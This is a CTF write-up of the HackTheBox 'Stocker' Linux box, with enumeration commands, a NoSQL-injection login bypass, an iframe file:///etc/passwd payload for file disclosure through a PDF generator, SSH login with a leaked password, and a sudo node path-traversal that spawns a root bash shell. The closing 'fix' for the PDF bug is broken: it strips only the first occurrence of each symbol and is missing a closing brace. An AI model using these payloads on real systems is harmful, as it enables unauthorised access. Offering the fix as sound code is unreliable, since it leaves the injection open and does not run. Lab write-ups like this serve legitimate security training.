HTB Stocker - Writeup

24 June, 2023

8 min read

Difficulty: 🟢 EasyOS: LinuxCTF: HackTheBox

In case you want to contact me, or see my stats, check out my HTB profile!

Box Overview

Stocker HTB Overview Image

Stocker starts with a static site powered by Eleventy. After digging a bit, I found there's a subdomain with a login page that is running Express.js and it's vulnerable to NoSQL Injection. We bypass the aunthentication and log in to the site. I'll exploit an unsanitized input that's being passed to a dynamic PDF that leads to a file disclosure and use that to get source code of the application and find a hardcoded password and get a shell on the box. Inside the machine, we can abuse a path wildcard (*) and run node with sudo and get a root shell.

Enumeration

nmap

First we run nmap to see what ports are open and what versions are running.

## Run a TCP SYN scan on all ports
nmap -p- -sS --min-rate 5000  --open -n -Pn 10.129.172.36
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-12 23:34 EDT
Nmap scan report for 10.129.172.36
Host is up (0.23s latency).
Not shown: 33893 closed tcp ports (reset), 31640 filtered tcp ports (no-response)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 23.84 seconds

## Detect versions of running services
nmap -sCV -p22,80 10.129.172.36
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-12 23:37 EDT
Nmap scan report for 10.129.172.36
Host is up (0.073s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 3d12971d86bc161683608f4f06e6d54e (RSA)
|   256 7c4d1a7868ce1200df491037f9ad174f (ECDSA)
|_  256 dd978050a5bacd7d55e827ed28fdaa3b (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://stocker.htb
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.26 seconds

SITE

We see that it tries to redirect us to http://stocker.htb but it's not resolving. We'll add it to our /etc/hosts file and see what's there.

Stocker

All links on the site doesn't redirect except a few ones that points to another sections of the site. At the end, there's a staff section with Angoose Garden as the Head of IT at Stockers Ltd. We'll keep that in mind as a possible username.

Given the stocker.htb domain, I'll look for possibles subdomains with gobuster.

Subdomain fuzzing

gobuster vhost -u http://stocker.htb -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt --append-domain

===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:             http://stocker.htb
[+] Method:          GET
[+] Threads:         10
[+] Wordlist:        /usr/share/SecLists/Discovery/DNS/subdomains-top1million-5000.txt
[+] User Agent:      gobuster/3.5
[+] Timeout:         10s
[+] Append Domain:   true
===============================================================
2023/06/13 00:00:38 Starting gobuster in VHOST enumeration mode
===============================================================
Found: dev.stocker.htb Status: 302 [Size: 28] [--> /login]
===============================================================
2023/06/13 00:01:18 Finished
===============================================================

We add dev.stocker.htb to our /etc/hosts file.

DEV

In the dev site, we see a login page. A few guesses like admin:admin or admin:password doesn't work.

Stocker Dev

We can see the headers of the site either with Wappalyzer or with the curl command. We see it's using nginx.

curl -s http://dev.stocker.htb/ -L -I

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Tue, 13 Jun 2023 04:12:23 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 2667
Connection: keep-alive
X-Powered-By: Express
[SNIP...]

In the X-Powered-By we see this application is running Express. Express is a web application framework for Node.js. It's often used to build web applications and APIs, storing data in MongoDB databases. This is known as the MEAN stack. As the MongoDB team says:

“The MEAN stack is a JavaScript-based framework for developing web applications. MEAN is named after MongoDB, Express, Angular, and Node, the four key technologies that make up the layers of the stack."

With that in mind, we can try to find a possible NoSQL Injection vulnerability. HackTricks have a good page for more information regarding to this topic . Basically, we are going to try to bypass the authentication by injecting a query that will return true. We intercept the request with Burp Suite and see how the request is being sent.

We see that the username and password are being sent as www-form-urlencoded.

Stocker Burpsuite Login Request

We try the www-form-urlencoded payload username[$ne]=admin&password[$ne]=password replacing it in the request but we got Invalid username or password. Another thing we could try is change the Content-Type to application/json and send the payload as JSON.

Burpsuite modified request

And we are in!

Dev Stocker Dashboard

Shell as angoose

Dynamic PDF

The page is all about shopping products, we can add products to the cart and checkout. We can inspect the source code of the application by opening the developer tools in the browser and take a look at the Debugger tab. There are some routes exposed in the application. We can note them down for later.

Stocker Debugger

The routes are:

  • /api/products
  • /api/order -> POST
  • /api/po/:id

There's not much else to look at. We proceed to add some products, go to the cart and see there's a Submit Purchase button. We click it and we get a message saying that the purchase was successful and we got a link to see the invoice.

Stocker Basket

Stocker Invoice

XSS in the title field

Intercepting the request with Burp Suite, we see the title we are sending, is the one that's being displayed in the PDF. I'm going to change the title and see what happens.

Modify Title Request

Invoice with modified title

With this in mind, we can try and inject a DOM element (in this case we are going to use an iframe) and see if it's getting displayed in the PDF. I'll extract the payload from Exploit Notes and put that in the title. I'm first going to grab a file that surely exists: <iframe src=file:///etc/passwd width=1000px height=1000px></iframe>

Stocker File Disclosure

Awesome! We now have a file disclosure. We can use this to further enumerate the application and see what's running in the server. We also see there's the angoose user.

Source code disclosure

We previously saw the application is being served with nginx. Although users can change the location where the files are being served, the default location is /var/www/html. Knowing this, we can try /var/www/dev/index.js. We use dev because that's the subdomain we are in and index.js because usually the main file or entry point for node.js applications is called index.js or app.js.

Stocker Source Code

We get the source code. In the first few lines, there's a string connection with hardcoded credentials. We can try to see if there's some password reutilization and try to log in with SSH and grab the user flag.

sshpass -p 'IHeardPassphrasesArePrettySecure' ssh angoose@stocker.htb
[...SNIP]
[...SNIP]

angoose@stocker:~$ cat user.txt
457b8e7*************************

Shell as root

Enumeration

As we have the password for the angoose user, we can try to see if we can run any command with sudo. We can use sudo -l to see what commands we can run as root.

angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User angoose may run the following commands on stocker:
    (ALL) /usr/bin/node /usr/local/scripts/*.js

We see we can run any script with node inside /usr/local/scripts/. We can try and take a look at these scripts but we don't have permissions to read/write them as others only have the executable permission set.

angoose@stocker:~$ ls -la /usr/local/scripts/
total 32
drwxr-xr-x  3 root root 4096 Dec  6  2022 .
drwxr-xr-x 11 root root 4096 Dec  6  2022 ..
-rwxr-x--x  1 root root  245 Dec  6  2022 creds.js
-rwxr-x--x  1 root root 1625 Dec  6  2022 findAllOrders.js
-rwxr-x--x  1 root root  793 Dec  6  2022 findUnshippedOrders.js
drwxr-xr-x  2 root root 4096 Dec  6  2022 node_modules
-rwxr-x--x  1 root root 1337 Dec  6  2022 profitThisMonth.js
-rwxr-x--x  1 root root  623 Dec  6  2022 schema.js

Node with sudo

Initially on this box, I ran linpeas.sh. I didn't find lots of interesting things there. After trying different scenarios, I asked for a hint in the official HTB discord server . I was told to take a look at the wildcard (*) in the path. It turns out that the way the shell interprets the wildcard, it's normalizing the path and only verifying if the file we want to execute is indeed a js file. So we can go 3 directories up and look for a directory we have permissions to write to. Then we can create a file called pwn.js and run one of the payloads from GTFOBins

angoose@stocker:~$ cd /tmp
angoose@stocker:/tmp$ echo -n 'require("child_process").spawn("/bin/bash", {stdio: [0, 1, 2]})' > pwn.js
angoose@stocker:/tmp$ sudo /usr/bin/node /usr/local/scripts/../../../tmp/pwn.js
[sudo] password for angoose:
root@stocker:/tmp#

And we can grab the root flag.

root@stocker:~ cat root.txt
1ee4cd8b************************

Fixing the vulnerability (shell as angoose)

After looking at the final code, I was curious on how to fix the vulnerability in the Dynamic PDF. For the sake of not making this post too long, I'll just leave the code here and explain what I did.

To the /api/order endpoint, I created an array of bad characters that are going to be cleaned from the title input. Then, I loop through the array and replace the bad characters with an empty string. This way, we can sanitize the input and avoid any malicious code to be injected.

app.post("/api/order", async (req, res) => {
 if (!req.session.user) return res.json({});

 if (!req.body.basket) return res.json({ success: false });

 const badSymbols = ["<", ">", "&", "$", "#", "!", "@", "%", "^", "*", "(", ")", "+", "=", "~", "`", "{", "}", "[", "]", "|", "\\", "/", "?", ",", ".", ":", ";"];

 // Sanitizing title input in basket array
 req.body.basket.forEach((item) => {
   badSymbols.forEach((symbol) => {
     item.title = item.title.replace(symbol, "");
   });
 });

 const order = new mongoose.model("Order")({
   items: req.body.basket.map((item) => ({ title: item.title, price: item.price, amount: item.amount })),
 });
 await order.save();

 return res.json({ success: true, orderId: order._id });
 );

© 2023 Anthony Acosta | Based on Carlos Azaustre | Made with 🖥️ and 💜